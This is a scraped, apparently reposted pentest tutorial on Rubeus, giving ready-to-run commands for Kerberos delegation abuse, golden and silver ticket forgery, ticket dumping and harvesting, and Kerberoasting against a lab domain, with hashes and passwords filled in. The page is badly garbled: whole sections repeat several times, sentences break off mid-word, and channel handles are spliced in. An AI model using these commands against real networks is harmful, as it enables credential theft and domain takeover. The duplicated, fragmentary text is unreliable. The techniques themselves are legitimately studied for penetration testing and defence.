https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxY76i8rRENeczKVXlyQt-PAGh-qYsRVlpB7wJe-Up8Xnkv6aBrdlB7CQVFsBFznkq015OPZG3Y77ndDEAnQ2UsV4zmdzEONj1lJaf2NcJvg7TaOgE31UHNMER3COPjpOHUuu3XfwgQmdB4WcYn_sXi4bHMITqEbMghPGGrvs4pHHshPb-WnJKFr15VA/s16000/21.png?w=640&ssl=1
Also, at the end you’ll see a one liner command that can be used to generate this TGT again.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfywgxE1QC5yHtbQrFXEPtYWOTQCW2-OvfyCFEcnV3kZX4O_HwPo1OK0pF-fN_TqCpzYuChAht98oyoZWFgawOvvrN6phmhaqcd_rhEscMJs6x2FLcjdFTwf6i2mUoaVwXwP9z_liDl9Y7O3eB7_YoRVJm5o42LcnjkS5-JFhYoyRv_219ADE8Zd-mnQ/s16000/22.png?w=640&ssl=1
Various other options can be used in conjunc[...]
___________________________
@hacking_Attack
@Hacking_Video
/rc4: flag is used to provide user noob’s account.
/impersonateuser: User that will be impersonated by noob.
/msdsspn: A valid msDS-AllowedToActOnBehalfOfAnotherIdentity value for the account. Here, the domain controller
/altservice: can be supplied to substitute one or more service names in the resulting .kirbi file.
/ptt: Injects the resulting ticket in the current terminal session
rubeus.exe s4u /user:noob$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:Administrator /msdsspn:host/dc1.ignite.local /altservice:cifs /domain:ignite.local /ptt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKaBMUp5U77qh_6bLSEV5bfowSgiBZUnNH2RVGlwxy6mUTG9N64BCvW5gcbsu6DIUNQ2Y3AmFBysTZZBbaXsZSivH7JAfNBMHVF9NjFyNc3_6qdjTyVa2Oh5Y3lkzvTMlMV0NptR-PLeyvgEPczWZdi1gf_AhJm9H_3vq1zXG_68zKek31PTNhtK5QDw/s16000/18.png?w=640&ssl=1
This would generate a ticket for Administrator user over the specified SPN. In short, we can now act as DC.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUB3Gg2Pl5L3PtqMzd7Q7xa8K50p7yK8r3YqVEj5VgHAcAClYIFIwE4kiN-UcO58nHkB5BjLOOtlEAAIcd86f0oq3_I6K2XCmjkFVZnjDUggjoiycvgi9tOn-iuZ1FeiJY4BoxpP2dfMdC7xFQH7vpG-ahmBvjzVP1_QE6Hlv-LjJqBDnqkIi03zzb6A/s16000/19.png?w=640&ssl=1 Golden TicketGolden tickets are forged KRBTGTs (Key Distribution Service account) which can be used to forge other TGTs. This provides an attacker persistence over the domain accounts. For a detailed walkthrough on the topic you can visit the article here.
To forge a golden ticket for user harshitrajpal, we first generate an AES hash (RC4 works too) using the hash command in Rubeus and then using the golden function like so. Here,
/ldap: Retrieves information of user over LDAP protocol
/user: Username whose ticket will be forged
/printcmd: displays a one liner command that can be used to generate the ticket again that just got generated
rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1
rubeus.exe golden /aes256:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260BEB365C /ldap /user:harshitrajpal /printcmd
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPW0OyVNb9deU4qubrM9AEjoOx7201V4pamhV-2Mru0bgQtPYpuvLlJkuOKv4V4mm0Oev2mb8XOF3JccaoZz3xtI5l8psPzgyrBbsYNB8lN3BjcNIVbbiit7B6-ly-ba4JeQ_aKuWgmQp_Vlwgiopb3z763jc82mW25GyqIOdhlWEV8YtqKGQsI6GQVA/s16000/20.png?w=640&ssl=1
As you can see various details like SID, userID, Service Key etc are being fetched over LDAP which are important to generate a ticket. PAC signing is also done and a TGT generated for harshitrajpal
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxY76i8rRENeczKVXlyQt-PAGh-qYsRVlpB7wJe-Up8Xnkv6aBrdlB7CQVFsBFznkq015OPZG3Y77ndDEAnQ2UsV4zmdzEONj1lJaf2NcJvg7TaOgE31UHNMER3COPjpOHUuu3XfwgQmdB4WcYn_sXi4bHMITqEbMghPGGrvs4pHHshPb-WnJKFr15VA/s16000/21.png?w=640&ssl=1
Also, at the end you’ll see a one liner command that can be used to generate this TGT again.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfywgxE1QC5yHtbQrFXEPtYWOTQCW2-OvfyCFEcnV3kZX4O_HwPo1OK0pF-fN_TqCpzYuChAht98oyoZWFgawOvvrN6phmhaqcd_rhEscMJs6x2FLcjdFTwf6i2mUoaVwXwP9z_liDl9Y7O3eB7_YoRVJm5o42LcnjkS5-JFhYoyRv_219ADE8Zd-mnQ/s16000/22.png?w=640&ssl=1
Various other options can be used in conjunc[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Now let’s talk about one such attack where hashes can be used to impersonate another user and carry out delegation attacks. For a detailed write-up on delegation, and attacks follow the link here. In short, OS post-Windows server 2003 contained a Kerberos…
tion with golden to modify the generated TGT like:
/rangeinterval: After every time specified, a new ticket will be generated.
/rangeend: Specifies the maximum time tickets will be generated for. Here, 5 days. Since rangeinterval is 1d, 5 different tickets will be generated.
For a full list of modifications, see this page.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUypE_lTmt2yK73cZqzgsmQQNTlCV36mrTI6qA649BmStnd2VqKiA8VYyUPv6hJTM-qGOBzoeTDZ11TDCeAZrjJVNsaSkBSDHDiFU_RQEEywN-i8bA9II87KdJjC1zdo7ekO1CxpuuNA9sSlz5L-5QfhKXLmPzYasAgLoCiD9ygPjc8lF3n4wn9oZWzQ/s16000/23.png?w=640&ssl=1 Silver TicketSilver tickets are forged Kerberos Ticket Granting Service (TGS) Tickets but with silver tickets there is no communication with the domain controller. It is signed by the service account configured with an SPN for each server the Kerberos-authenticating service runs on. For more details visit the page here.
Silver ticket attack can be performed using Rubeus using silver function. Other customisations need be made like:
/service: SPN of the service ticket is being generated for
/rc4: Hash of a valid user (harshitrajpal here) which will be used to encrypt the generated ticket
/user: username of the user whose hash is provided
/creduser: User to be impersonated
/credpassword: Password of the user to be impersonated
/krbkey: used to create the KDCChecksum and TicketChecksum. This is the AES256 hmac sha1 hash in the following case.
/krbenctype: type of encrypted hash used. Aes256 here.
rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1
rubeus.exe silver /service:cifs/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /ldap /creduser:ignite.local\Administrator /credpassword:Ignite@987 /user:harshitrajpal /krbkey:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260BEB365C /krbenctype:aes256 /domain:ignite.local /ptt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisS0kDD040twsfat2VTDk5Vb0CHVG5Ho8l7jvHce-9bDMM8q0bKmcZS-Mft-uYxbjVHPPvftsC-fmkKmWH7JKLW7gp9OhKSsh64nwt597z00_UyhrzIsbxvWYysVr2DFj__o88gbUKXoiH8ghDmX1nttn9j0URoOF8avXUSyibjLTmYWLBDAPgqIPFHA/s16000/24.png?w=640&ssl=1
This helped us generate a silver ticker for Administrator account. And as a result, we are now able to access DC machine’s C drive
dir \\dc1.ignite.local\c$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXSuXCGmt8xKSiStl62a7d-U4QriyKnr09ulubQzP_4Xb3qvrtuswXkVm6d2JnRe2wW-fJCXEFZmwy-DYtS5tivoUszspE8U0tMbNs2MbnVW1rTihlWrJdQp_RlmtBhL2eIx_TwHPSn3wgsq1UfhhoPB9zY3zRsV77ZmCYZB-C8p510xPjbnutXcFNDA/s16000/25.png?w=640&ssl=1 Ticket ManagementRubeus contains multiple ticket management options that may aid a pentester to conduct operations effectively and stealthily. As a pentester, we need to manage our generated tickets.
Ptt
The Rubeus ptt option can import the supplied ticket in command line. The /ptt can also be used in conjunction with other options that output tickets. For example,
rubeus.exe ptt /ticket:doIFNDCCBTCgAwI...bA==
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKTVmohjirCZfdaG4GGv7-wzWMuQ58Q1_TCFHqBRpx9oRXWvvKAnWSir3Eh6VFwNFbwjPW2owjtkj25OSt2QZtX91OHITOdFbYToEfxgKkchxA1hhppI0_GbkGZKvhobYRcJMR_n8eN_SX67_x-GS_u_mqEhba24FoFO6tjr1I3p2p6xsd1uaI8H2kEA/s16000/26.png?w=640&ssl=1
As you can see, the generated ticket has now been imported.
Purge
Rubeus has a purge option which can purge/delete all the tickets existing in the current session.
Here, we demonstrate how we purged 2 tickets listed by klist.
rubeus.exe purge
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieNiT1NqlQJ6XX-v68CUP7L2r6GKfB7k4inUgNicpJfdwG25zZNJHQeekion5CN0asOuv8bdVDGlNLGfeoOqrmgfvdiK8Ws1Pya_9G56jX1XAN2M68-VRj8AmN6f30zGWpj-dSrTFKXcuysXB8X6wTrknGtv3gY8ug-tM2Dix9hE5ajlXBP58OudyvXg/s16000/27.png?w=640&ssl=1
Describe
Often we lose track of the tickets in system. Describe option helps us to view details about a particular base64 [...]
___________________________
@hacking_Attack
@Hacking_Video
/rangeinterval: After every time specified, a new ticket will be generated.
/rangeend: Specifies the maximum time tickets will be generated for. Here, 5 days. Since rangeinterval is 1d, 5 different tickets will be generated.
For a full list of modifications, see this page.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUypE_lTmt2yK73cZqzgsmQQNTlCV36mrTI6qA649BmStnd2VqKiA8VYyUPv6hJTM-qGOBzoeTDZ11TDCeAZrjJVNsaSkBSDHDiFU_RQEEywN-i8bA9II87KdJjC1zdo7ekO1CxpuuNA9sSlz5L-5QfhKXLmPzYasAgLoCiD9ygPjc8lF3n4wn9oZWzQ/s16000/23.png?w=640&ssl=1 Silver TicketSilver tickets are forged Kerberos Ticket Granting Service (TGS) Tickets but with silver tickets there is no communication with the domain controller. It is signed by the service account configured with an SPN for each server the Kerberos-authenticating service runs on. For more details visit the page here.
Silver ticket attack can be performed using Rubeus using silver function. Other customisations need be made like:
/service: SPN of the service ticket is being generated for
/rc4: Hash of a valid user (harshitrajpal here) which will be used to encrypt the generated ticket
/user: username of the user whose hash is provided
/creduser: User to be impersonated
/credpassword: Password of the user to be impersonated
/krbkey: used to create the KDCChecksum and TicketChecksum. This is the AES256 hmac sha1 hash in the following case.
/krbenctype: type of encrypted hash used. Aes256 here.
rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1
rubeus.exe silver /service:cifs/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /ldap /creduser:ignite.local\Administrator /credpassword:Ignite@987 /user:harshitrajpal /krbkey:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260BEB365C /krbenctype:aes256 /domain:ignite.local /ptt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisS0kDD040twsfat2VTDk5Vb0CHVG5Ho8l7jvHce-9bDMM8q0bKmcZS-Mft-uYxbjVHPPvftsC-fmkKmWH7JKLW7gp9OhKSsh64nwt597z00_UyhrzIsbxvWYysVr2DFj__o88gbUKXoiH8ghDmX1nttn9j0URoOF8avXUSyibjLTmYWLBDAPgqIPFHA/s16000/24.png?w=640&ssl=1
This helped us generate a silver ticker for Administrator account. And as a result, we are now able to access DC machine’s C drive
dir \\dc1.ignite.local\c$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXSuXCGmt8xKSiStl62a7d-U4QriyKnr09ulubQzP_4Xb3qvrtuswXkVm6d2JnRe2wW-fJCXEFZmwy-DYtS5tivoUszspE8U0tMbNs2MbnVW1rTihlWrJdQp_RlmtBhL2eIx_TwHPSn3wgsq1UfhhoPB9zY3zRsV77ZmCYZB-C8p510xPjbnutXcFNDA/s16000/25.png?w=640&ssl=1 Ticket ManagementRubeus contains multiple ticket management options that may aid a pentester to conduct operations effectively and stealthily. As a pentester, we need to manage our generated tickets.
Ptt
The Rubeus ptt option can import the supplied ticket in command line. The /ptt can also be used in conjunction with other options that output tickets. For example,
rubeus.exe ptt /ticket:doIFNDCCBTCgAwI...bA==
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKTVmohjirCZfdaG4GGv7-wzWMuQ58Q1_TCFHqBRpx9oRXWvvKAnWSir3Eh6VFwNFbwjPW2owjtkj25OSt2QZtX91OHITOdFbYToEfxgKkchxA1hhppI0_GbkGZKvhobYRcJMR_n8eN_SX67_x-GS_u_mqEhba24FoFO6tjr1I3p2p6xsd1uaI8H2kEA/s16000/26.png?w=640&ssl=1
As you can see, the generated ticket has now been imported.
Purge
Rubeus has a purge option which can purge/delete all the tickets existing in the current session.
Here, we demonstrate how we purged 2 tickets listed by klist.
rubeus.exe purge
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieNiT1NqlQJ6XX-v68CUP7L2r6GKfB7k4inUgNicpJfdwG25zZNJHQeekion5CN0asOuv8bdVDGlNLGfeoOqrmgfvdiK8Ws1Pya_9G56jX1XAN2M68-VRj8AmN6f30zGWpj-dSrTFKXcuysXB8X6wTrknGtv3gY8ug-tM2Dix9hE5ajlXBP58OudyvXg/s16000/27.png?w=640&ssl=1
Describe
Often we lose track of the tickets in system. Describe option helps us to view details about a particular base64 [...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
tion with golden to modify the generated TGT like: /rangeinterval: After every time specified, a new ticket will be generated. /rangeend: Specifies the maximum time tickets will be generated for. Here, 5 days. Since rangeinterval is 1d, 5 different tickets…
encrypted blob or ticket.kirbi file.
We can provide the ticket using /ticket flag.
rubeus.exe describe /ticket:doIFNDCCBTCg...bA==
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7WIoNU11b3w36Lw-C6yMzOBTFQxc7yc_-HXOlbJPfCnzdnN3paIj-5S8aSDB7zGWRHz-yeg3IiT1FTUhqgeN9xo6pJnO4fidzzgDOqGBbKNyv1j54uptRBvs2BFfWlJRmsqnM_Cy_kC7PuA9UysbRijcPorIUb3E4ZZrXLuVCfwCspDwVzBoUYAfF5A/s16000/28.png?w=640&ssl=1
Triage
While klist views tickets for current session triage lists all the tickets. When a session is being run as an administrator, we can not only view tickets in the current user’s session memory but other user’s tickets in memory too.
/luid: This flag can be used to provide a specific user ID.
rubeus.exe triage
rubeus.exe triage /luid:0x8f57c
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY-eDU_fYg-Ta1R9oB54ePb_m9XufvCqw8HWY9J52F9-2dKB3zjQb7L50ZyXuk9GulLVXul-uPlDeDRfkGvUXiM0uJF8RRbb9ZGHrtGDW6TL6SqMvSpg9InazDv7SrjpG5DQsDeXGLNp6O4akhBrlu9qL714Z_mi-G6Db8knG2YgQICInIPR2oyb0T2w/s16000/29.png?w=640&ssl=1
Also, when the LUID is known, we can purge particular user’s tickets too (elevated mode only)
rubeus.exe purge /luid:0x8f57c
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAKUAPB_XJDt6Tq5e8P6aR9obYD55fJBc83A0X11E6HQ-OPvfsuonWsT5MUVoB9GQYhCeaYRRP7tz1prxHmQ7v_DSUWpoCbBXozmfFwWxjNWQCJ8fEfw8cp6xhFXJWfqCAWcyixZ_Aajw4ArGdgMFj_tlqznpADDUFs4yY1RuQns1qfFU6IYmZO9WGTQ/s16000/30.png?w=640&ssl=1
Dump
If the session is running in an elevated mode, a user can dump/ extract all the current TGTs and service tickets. Again, /luid can be provided to dump specific user’s tickets. /service can be used to filter these tickets.
For example, /service:krbtgt displays only TGTs.
rubeus.exe dump
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0Wj1VAku1zDOX5hWi5X0sbmrJFZnXUu5eJQfHm8pXWCTHx0v62LUK30nibHWGq2RFDhFFCjXnSkccraTemLREKxKcd3gX42vNY7qdpwx7afNUL4907CfasdQo9jAFw5VbuXpPVovRHBzum8pdHBKJTj4spcRi2c66Or75V4gg9UwFXsWNzJYsU3BSsw/s16000/31.png?w=640&ssl=1
For a specific service like only krbtgt:
rubeus.exe dump /service:krbtgt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuK3I9Opl6VOjjSVV4RZUweVLtYtkrE_QijIFiIuYzB99oYl5IxcS4cHoWQ8MQaCB4EqgqzyP0-ZP-VWv8tbrDqS5FEXZcbFLPSHY7taMEAJUDz7jp_Rv7Vnzxsf8nX8-hZ1B_zOOELylZd8qt8aZYseuuK0rK6t24aYV-A8XKuNgbntU-zEDP01jyfA/s16000/32.png?w=640&ssl=1
Tgtdeleg
Tgtdeleg is Benjamin Delpy’s technique that can exploit the Generic Security Service Application Program Interface (GSS-API) trick and allows you to extract a usable TGT .kirbi file from the current user’s session in low elevation mode. This Windows API can be used to request a delegate TGT that’s intended to be sent to a remote host/SPN.
This can be done like:
rubeus.exe tgtdeleg
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUKi9so9HwiidLh4qrww3Nbfa54h8MEOXPWhf7E7w64HnnpDBNSU0fOULt8M86hSLZokXvV_1YUWJEMqyMj2YOUUsBlF6hpKIRIK5cCId84CxVDWoPTNneD1TkHTpmi5FMXFfPodTGu1I67AdqxbDyYBoxEwHHw-VOkzwItS2Ou2rx8C4SbJBsPdzc0A/s16000/33.png?w=640&ssl=1
As you can see, the current user’s TGT has been dumped successfully.
Monitor
The monitor function can periodically extract all TGTs every x seconds where x is the variable provided in the /interval flag.
/targetuser: Only the specified user’s tickets will be returned.
rubeus.exe monitor /targetuser:noob$ /interval:10
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxjB0KxfUmaAPMCLqCPamfo7oWirey_9jFiNPldQ0MGajwBSeep05jP8WLM9xIkEyuRJDh3JiTEhTvzeVZZ6ZND5Ugp0Yt-94bCAb-bkE1Oh-n2Bi55_-ub8_0Sq55ORZunuoEC0Xuo4pNK3anojLhI9ugmhWz95wy2yocUV14Jf5rJk4wOEeQAwZcMw/s16000/34.png?w=640&ssl=1
Harvest
The harvest option extracts TGTs every x seconds where x is provided by /interval flag and it also keeps a cache of any extracted TGTs and any tickets about to expire are autorenewed.
/nowrap filter: Displays tickets in a single line (very helpful)
/runfor: Can specify the end time of ha[...]
___________________________
@hacking_Attack
@Hacking_Video
We can provide the ticket using /ticket flag.
rubeus.exe describe /ticket:doIFNDCCBTCg...bA==
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7WIoNU11b3w36Lw-C6yMzOBTFQxc7yc_-HXOlbJPfCnzdnN3paIj-5S8aSDB7zGWRHz-yeg3IiT1FTUhqgeN9xo6pJnO4fidzzgDOqGBbKNyv1j54uptRBvs2BFfWlJRmsqnM_Cy_kC7PuA9UysbRijcPorIUb3E4ZZrXLuVCfwCspDwVzBoUYAfF5A/s16000/28.png?w=640&ssl=1
Triage
While klist views tickets for current session triage lists all the tickets. When a session is being run as an administrator, we can not only view tickets in the current user’s session memory but other user’s tickets in memory too.
/luid: This flag can be used to provide a specific user ID.
rubeus.exe triage
rubeus.exe triage /luid:0x8f57c
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY-eDU_fYg-Ta1R9oB54ePb_m9XufvCqw8HWY9J52F9-2dKB3zjQb7L50ZyXuk9GulLVXul-uPlDeDRfkGvUXiM0uJF8RRbb9ZGHrtGDW6TL6SqMvSpg9InazDv7SrjpG5DQsDeXGLNp6O4akhBrlu9qL714Z_mi-G6Db8knG2YgQICInIPR2oyb0T2w/s16000/29.png?w=640&ssl=1
Also, when the LUID is known, we can purge particular user’s tickets too (elevated mode only)
rubeus.exe purge /luid:0x8f57c
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAKUAPB_XJDt6Tq5e8P6aR9obYD55fJBc83A0X11E6HQ-OPvfsuonWsT5MUVoB9GQYhCeaYRRP7tz1prxHmQ7v_DSUWpoCbBXozmfFwWxjNWQCJ8fEfw8cp6xhFXJWfqCAWcyixZ_Aajw4ArGdgMFj_tlqznpADDUFs4yY1RuQns1qfFU6IYmZO9WGTQ/s16000/30.png?w=640&ssl=1
Dump
If the session is running in an elevated mode, a user can dump/ extract all the current TGTs and service tickets. Again, /luid can be provided to dump specific user’s tickets. /service can be used to filter these tickets.
For example, /service:krbtgt displays only TGTs.
rubeus.exe dump
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0Wj1VAku1zDOX5hWi5X0sbmrJFZnXUu5eJQfHm8pXWCTHx0v62LUK30nibHWGq2RFDhFFCjXnSkccraTemLREKxKcd3gX42vNY7qdpwx7afNUL4907CfasdQo9jAFw5VbuXpPVovRHBzum8pdHBKJTj4spcRi2c66Or75V4gg9UwFXsWNzJYsU3BSsw/s16000/31.png?w=640&ssl=1
For a specific service like only krbtgt:
rubeus.exe dump /service:krbtgt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuK3I9Opl6VOjjSVV4RZUweVLtYtkrE_QijIFiIuYzB99oYl5IxcS4cHoWQ8MQaCB4EqgqzyP0-ZP-VWv8tbrDqS5FEXZcbFLPSHY7taMEAJUDz7jp_Rv7Vnzxsf8nX8-hZ1B_zOOELylZd8qt8aZYseuuK0rK6t24aYV-A8XKuNgbntU-zEDP01jyfA/s16000/32.png?w=640&ssl=1
Tgtdeleg
Tgtdeleg is Benjamin Delpy’s technique that can exploit the Generic Security Service Application Program Interface (GSS-API) trick and allows you to extract a usable TGT .kirbi file from the current user’s session in low elevation mode. This Windows API can be used to request a delegate TGT that’s intended to be sent to a remote host/SPN.
This can be done like:
rubeus.exe tgtdeleg
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUKi9so9HwiidLh4qrww3Nbfa54h8MEOXPWhf7E7w64HnnpDBNSU0fOULt8M86hSLZokXvV_1YUWJEMqyMj2YOUUsBlF6hpKIRIK5cCId84CxVDWoPTNneD1TkHTpmi5FMXFfPodTGu1I67AdqxbDyYBoxEwHHw-VOkzwItS2Ou2rx8C4SbJBsPdzc0A/s16000/33.png?w=640&ssl=1
As you can see, the current user’s TGT has been dumped successfully.
Monitor
The monitor function can periodically extract all TGTs every x seconds where x is the variable provided in the /interval flag.
/targetuser: Only the specified user’s tickets will be returned.
rubeus.exe monitor /targetuser:noob$ /interval:10
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxjB0KxfUmaAPMCLqCPamfo7oWirey_9jFiNPldQ0MGajwBSeep05jP8WLM9xIkEyuRJDh3JiTEhTvzeVZZ6ZND5Ugp0Yt-94bCAb-bkE1Oh-n2Bi55_-ub8_0Sq55ORZunuoEC0Xuo4pNK3anojLhI9ugmhWz95wy2yocUV14Jf5rJk4wOEeQAwZcMw/s16000/34.png?w=640&ssl=1
Harvest
The harvest option extracts TGTs every x seconds where x is provided by /interval flag and it also keeps a cache of any extracted TGTs and any tickets about to expire are autorenewed.
/nowrap filter: Displays tickets in a single line (very helpful)
/runfor: Can specify the end time of ha[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
encrypted blob or ticket.kirbi file. We can provide the ticket using /ticket flag. rubeus.exe describe /ticket:doIFNDCCBTCg...bA== https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7WIoNU11b3w36Lw-C6yMzOBTFQxc7yc_-HXOlbJPfCnzdnN3paIj…
rvest option
rubeus.exe harvest /interval:30
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhblt2mvrwOxXES3BxOqsSuqsNzpoVnkMvy6FZv_AiR-6Te08TnXZJSeySEwxCZpvgntHTp-C5YsudZjtHT0ly7beAumcqaZ-cO0Hjh9PrYBLHCFABIY2HrG3cs3q_t0wnn5sXlmBLgxFL_UXS-vNfGMd4RYw7OAUQdrHf9NBpgmiJsIyi3Qxxwoaktqg/s16000/35.png?w=640&ssl=1 KerberoastingKerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password. Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs). When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service.
An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account.
For a detailed guide on Kerberoasting, see our article here.
To perform Kerberoasting using Rubeus for a specified SPN, we can provide using the /spn flag.
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSG6KQOcQoWYpF5MzdoWkUhvbfh-wHE4gxP8O6Yl4voZ3JnKq8oVwXRaSa40UnCuxwo3m1DrgGwZMXGBuiq4C0doAbwWsIyI0GI4birFo3bUjathTtpr8urL682N2quqoV-7QBYra87w90v1ma5x9YJ7zklACIW8KL5zrboywrK_gg7YCsoUMzZkWZWw/s16000/36.png?w=640&ssl=1
As you can see above, a valid Kerberos hash has been dumped by kerberoasting LDAP service. These can be cracked using hashcat with module number 13100.
/tgtdeleg can be used to perform the tgt delegation trick to roast all rc4 enabled accounts
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /tgtdeleg
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkbBpTLaMY-3Oo9rO9snMDKjIzxFYSYrFpxM5rWMJzRvA0IYcHQq3Nf7FIMujlKMYice4nIEwcd4TD3mjwwO_E0TGXxrIIOV0kp2XyO205NBksAAFyOQpEt5EGGHRMfFtis2OU1Qnr2Sg_jlc-UGqDfMrUqMZQK4KrqEYIDogewDQpwked05vSgVp0kg/s16000/37.png?w=640&ssl=1
/aes flag can be used to roast all AES enabled accounts while using KerberosRequestorSecurityToken
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /aes
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCoQ50F_1zB4Ssky8pAVoQ9YFszN5PCxxdLFrrwh3uDnas-R7TsDO-Wnlp2BDGuDfWys30kjQpzGKXasJqTVyGXSWiT3MZb6dQdls1LMrETa5r40cr7leJ3HCoeewdJ54MHhQ1Yxrk6DRt-liZmHsNxXZqJzK_EX2GiWaC2i2UUUEXJ0DKrBwti5AuLw/s16000/38.png?w=640&ssl=1
Alternate domain credentials to perform Kerberoasting and searching for users to kerberoast can be done using the /creduser and /credpassword
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /creduser:ignite.local\Administrator /credpassword:Ignite@987
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9KDywl9UQrBQ_k5tNavZy2rdV4VevX_uDu-PfN6w1FtoOQq9KqhwNCxOZao16bEy6ivWwEJSdCtd0aXz3blftnWjWk24shGO9yqyuyUgWnqTZHgK6oY54G21x_4-dWrPowZzfs_F_J3qDqaR3I6ZLlkBOaCbfMlO3Jh0qBoweOcJ0Y5c-qYGxHnOpag/s16000/39.png?w=640&ssl=1
Some customisation flags can also be specified like
/pwdsetbefore: In the format MM-dd-yyyy then only the accounts whose password was last changed before the specified date shall be roasted
/resultlimit: The number of accounts that shall be roasted will be limited to this value
/delay: Specifies the miliseconds interval between two consecutive TGS requests
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /pwdsetbefore:08-05-2022 /resultlimit:3 /delay:1000
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGp2n7e_k6PIrVWMoAU5Ar5ssxs8-0MGH8W0INUgzVeXal59GlklOm3t3BT7Rq2jA6uFIfuwjv_E3mUlrffZMHF3AlYNdaZwpN1fVDgf5BnUY-hmhgFprtyH7qSwM5hjgV7uk211JhlIcUAx7tZkVdbCs4MUDRo-0J_Sa49FIfHDbYQtLVSN7bnX8NFg/s16000/40.png?w=640&ssl=1
/rc4opsec: tgtdeleg trick is used and accounts without AES enabled are roasted.
rubeus.e[...]
___________________________
@hacking_Attack
@Hacking_Video
rubeus.exe harvest /interval:30
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhblt2mvrwOxXES3BxOqsSuqsNzpoVnkMvy6FZv_AiR-6Te08TnXZJSeySEwxCZpvgntHTp-C5YsudZjtHT0ly7beAumcqaZ-cO0Hjh9PrYBLHCFABIY2HrG3cs3q_t0wnn5sXlmBLgxFL_UXS-vNfGMd4RYw7OAUQdrHf9NBpgmiJsIyi3Qxxwoaktqg/s16000/35.png?w=640&ssl=1 KerberoastingKerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password. Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs). When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service.
An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account.
For a detailed guide on Kerberoasting, see our article here.
To perform Kerberoasting using Rubeus for a specified SPN, we can provide using the /spn flag.
